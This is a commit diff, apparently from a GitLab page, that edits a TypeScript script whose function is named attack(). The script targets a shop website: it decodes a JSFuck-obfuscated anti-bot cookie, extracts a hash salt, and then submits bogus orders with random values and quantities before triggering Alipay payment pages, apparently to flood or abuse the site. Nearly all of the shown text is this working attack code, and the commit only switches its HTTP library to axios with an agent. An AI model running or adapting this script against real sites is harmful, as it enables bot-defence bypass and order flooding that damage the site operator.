Commit eb1d2e36 authored by nanahira's avatar nanahira

axios

parent 829cdd37
...@@ -14,16 +14,14 @@ function parseJsFuck(code: string): string { ...@@ -14,16 +14,14 @@ function parseJsFuck(code: string): string {
async function attack() { async function attack() {
console.log('Requesting loading page.'); console.log('Requesting loading page.');
const loadingPageResponse = await got('https://paperboxshop.top/index.php', { const loadingPage = await got('https://paperboxshop.top/index.php', {
http2: true,
responseType: 'text',
headers: { headers: {
'User-Agent': 'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
}, },
}); }).text();
console.log(loadingPageResponse.httpVersion); console.log(loadingPage);
const jsFuckMatch = loadingPageResponse.body.match( const jsFuckMatch = loadingPage.match(
/setCookie\('sec_defend', ?\(([\[\]\(\)!\+\{\}]+)\)\);setCookie/, /setCookie\('sec_defend', ?\(([\[\]\(\)!\+\{\}]+)\)\);setCookie/,
); );
if (!jsFuckMatch) { if (!jsFuckMatch) {
...@@ -34,15 +32,18 @@ async function attack() { ...@@ -34,15 +32,18 @@ async function attack() {
console.log(`sec_defend: ${sec_defend}`); console.log(`sec_defend: ${sec_defend}`);
console.log('Requesting main page.'); console.log('Requesting main page.');
const Cookie = `sec_defend=${sec_defend};`; const Cookie = `sec_defend=${sec_defend};`;
const mainPage = await got('https://paperboxshop.top/index.php', { const { data: mainPage, headers: mainPageHeaders } = await axios.get(
http2: true, 'https://paperboxshop.top/index.php',
responseType: 'text', {
headers: { responseType: 'text',
Cookie, httpsAgent: agent,
'User-Agent': headers: {
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0', Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
}, },
}).text(); );
const hashsaltMatch = mainPage.match(/var hashsalt=([\[\]\(\)!\+\{\}]+);/); const hashsaltMatch = mainPage.match(/var hashsalt=([\[\]\(\)!\+\{\}]+);/);
if (!hashsaltMatch) { if (!hashsaltMatch) {
console.error(`hashsalt not found.`); console.error(`hashsalt not found.`);
...@@ -51,35 +52,36 @@ async function attack() { ...@@ -51,35 +52,36 @@ async function attack() {
const hashsalt = parseJsFuck(hashsaltMatch[1]); const hashsalt = parseJsFuck(hashsaltMatch[1]);
console.log(`hashsalt: ${hashsalt}`); console.log(`hashsalt: ${hashsalt}`);
console.log('Submitting payment.'); console.log('Submitting payment.');
const payResult = await got const { data: payResult } = await axios.post<{
.post('https://paperboxshop.top/ajax.php?act=pay', { code: number;
msg: string;
trade_no: string;
}>(
'https://paperboxshop.top/ajax.php?act=pay',
qs.stringify({
tid: 1,
inputvalue: cryptoRandomString({ length: 12, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
}),
{
responseType: 'json', responseType: 'json',
http2: true, httpsAgent: agent,
form: {
tid: 1,
inputvalue: cryptoRandomString({ length: 12, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
},
headers: { headers: {
Cookie, Cookie,
'User-Agent': 'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
}, },
}) },
.json<{ );
code: number;
msg: string;
trade_no: string;
}>();
if (payResult.code) { if (payResult.code) {
console.error(`Payment failed: ${payResult.code} ${payResult.msg}`); console.error(`Payment failed: ${payResult.code} ${payResult.msg}`);
return; return;
} }
await got(`https://paperboxshop.top/other/submit.php`, { await axios.get(`https://paperboxshop.top/other/submit.php`, {
responseType: 'text', responseType: 'arraybuffer',
http2: true, httpsAgent: agent,
searchParams: { params: {
type: 'alipay', type: 'alipay',
orderid: payResult.trade_no, orderid: payResult.trade_no,
}, },
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment